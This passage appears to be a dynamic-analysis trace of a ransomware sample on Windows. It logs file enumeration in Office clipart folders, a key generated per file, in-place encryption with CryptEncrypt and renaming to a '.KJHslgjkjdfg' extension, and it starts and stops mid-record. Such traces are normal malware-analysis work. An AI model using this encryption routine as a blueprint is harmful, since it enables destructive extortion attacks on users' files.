(hKey=0x2c63a0) returned 1 [0177.785] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.786] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.786] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.786] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.786] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.786] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d18, lpOverlapped=0x0) returned 1 [0177.787] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d20) returned 1 [0177.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.787] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d20, lpOverlapped=0x0) returned 1 [0177.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.788] SetEndOfFile (hFile=0x114) returned 1 [0177.791] GetProcessHeap () returned 0x2a0000 [0177.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.791] GetProcessHeap () returned 0x2a0000 [0177.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.kjhslgjkjdfg")) returned 1 [0177.792] CloseHandle (hObject=0x114) returned 1 [0177.792] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0177.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.794] GetProcessHeap () returned 0x2a0000 [0177.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.794] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.794] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0177.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.796] GetProcessHeap () returned 0x2a0000 [0177.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.797] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.797] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.797] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.797] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.797] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.797] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.797] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b74, lpOverlapped=0x0) returned 1 [0177.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b80) returned 1 [0177.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b80, lpOverlapped=0x0) returned 1 [0177.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.799] SetEndOfFile (hFile=0x114) returned 1 [0177.801] GetProcessHeap () returned 0x2a0000 [0177.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.801] GetProcessHeap () returned 0x2a0000 [0177.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.kjhslgjkjdfg")) returned 1 [0177.803] CloseHandle (hObject=0x114) returned 1 [0177.803] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0177.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.805] GetProcessHeap () returned 0x2a0000 [0177.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.806] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.811] GetProcessHeap () returned 0x2a0000 [0177.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.811] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.811] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.812] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.812] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3198, lpOverlapped=0x0) returned 1 [0177.813] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31a0) returned 1 [0177.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.813] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31a0, lpOverlapped=0x0) returned 1 [0177.813] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.813] SetEndOfFile (hFile=0x114) returned 1 [0177.816] GetProcessHeap () returned 0x2a0000 [0177.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.816] GetProcessHeap () returned 0x2a0000 [0177.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.kjhslgjkjdfg")) returned 1 [0177.818] CloseHandle (hObject=0x114) returned 1 [0177.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0177.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.819] GetProcessHeap () returned 0x2a0000 [0177.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.823] GetProcessHeap () returned 0x2a0000 [0177.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.824] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.824] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.824] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.824] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.824] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16e8, lpOverlapped=0x0) returned 1 [0177.829] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f0) returned 1 [0177.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.831] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16f0, lpOverlapped=0x0) returned 1 [0177.832] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.833] SetEndOfFile (hFile=0x114) returned 1 [0177.862] GetProcessHeap () returned 0x2a0000 [0177.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.864] GetProcessHeap () returned 0x2a0000 [0177.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.kjhslgjkjdfg")) returned 1 [0177.869] CloseHandle (hObject=0x114) returned 1 [0177.869] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0177.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.870] GetProcessHeap () returned 0x2a0000 [0177.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.870] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.877] GetProcessHeap () returned 0x2a0000 [0177.877] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.877] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.877] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.878] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.878] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.878] CryptImportKey (in: 